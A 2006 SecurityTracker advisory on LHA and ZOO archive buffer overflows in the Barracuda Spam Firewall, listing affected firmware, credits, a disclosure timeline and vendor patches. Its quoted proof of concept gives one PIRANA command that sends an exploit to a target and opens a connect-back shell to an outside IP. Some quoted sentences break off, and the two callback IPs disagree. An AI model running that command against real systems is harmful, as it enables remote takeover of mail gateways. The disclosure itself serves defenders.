Barracuda Spam Firewall Buffer Overflows in Processing LHA and ZOO Archives Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID: 1015866|
SecurityTracker URL: http://securitytracker.com/id/1015866
(Links to External Site)
Date: Apr 4 2006
Execution of arbitrary code via network, User access via network|
Fix Available: Yes Vendor Confirmed: Yes |
Version(s): with firmware < 3.3.03.022 and with spamdef < 3.0.10045|
Two vulnerabilities were reported in the Barracuda Spam Firewall. A remote user can execute arbitrary code on the target user's system.|
A remote user can send e-mail with a specially crafted LHA archive containing a long filename to trigger a stack overflow and execute arbitrary code on the target device.
A remote user can also send an e-mail with a specially crafted ZOO archive to trigger a stack overflow and execute arbitrary code.
The vendor was notified on March 2, 2006.
Jean-Sebastien Guay-Leroux discovered this vulnerability. Ulf Harnhammar originally discovered the underlying LHA vulnerability.
A remote user can execute arbitrary code on the target system.|
The vendor has issued a firmware fix (3.3.03.022) and a patched spamdef (3.0.10045).|
Vendor URL: www.barracudanetworks.com (Links to External Site)
Source Message Contents
Subject: Barracuda LHA archiver security bug leads to remote compromise|
Topic: Barracuda LHA archiver security bug leads to
Product: Barracuda Spam Firewall
Impact: Remote shell access
Affected product: Barracuda with firmware < 3.3.03.022 AND
spamdef < 3.0.10045
CVE ID: CVE-2004-0234
The Barracuda Spam Firewall is an integrated hardware and software solution for
complete protection of your email server. It provides a powerful, easy to use,
and affordable solution to eliminating spam and virus from your organization by
providing the following protection:
* Anti-spyware (Attachments)
* Denial of Service
When building a special LHA archive with long filenames in it, it is possible to
overflow a buffer on the stack used by the program and seize control of the
Since this component is used when scanning an incoming email, remote compromise
is possible by sending a simple email with the specially crafted LHA archive
attached to the Barracuda Spam Firewall.
You do NOT need to have remote administration access (on port 8000) for
For further informations about the details of the bugs, you can consult OSVDB
#5753 and #5754 .
Gain shell access to the remote Barracuda Spam Firewall
IV. PROOF OF CONCEPT
Using the PIRANA framework, available at http://www.guay-leroux.com , it is
possible to test the Barracuda Spam Firewall against the LHA vulnerability.
By calling PIRANA the way it is described below, you will get a TCP connect back
shell on IP address 184.108.40.206 and port 1234:
perl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l 220.127.116.11 \
-p 1234 -z -c 1 -d 1
Barracuda Networks pushed an urgent critical patch in spamdef #3.0.10045,
available March 24th 2006.
They also published an official patch in firmware #3.3.03.022, available April
It is recommended to update to firmware #3.3.03.022 .
Ulf Harnhammar who found the original LHA flaw.
and produced exploitation plugin for the PIRANA framework.
2006-03-02 : Disclosure of vulnerability to Barracuda Networks
2006-03-02 : Acknowledgement of the problem
2006-03-24 : Problem fixed
2006-04-03 : Advisory disclosed to public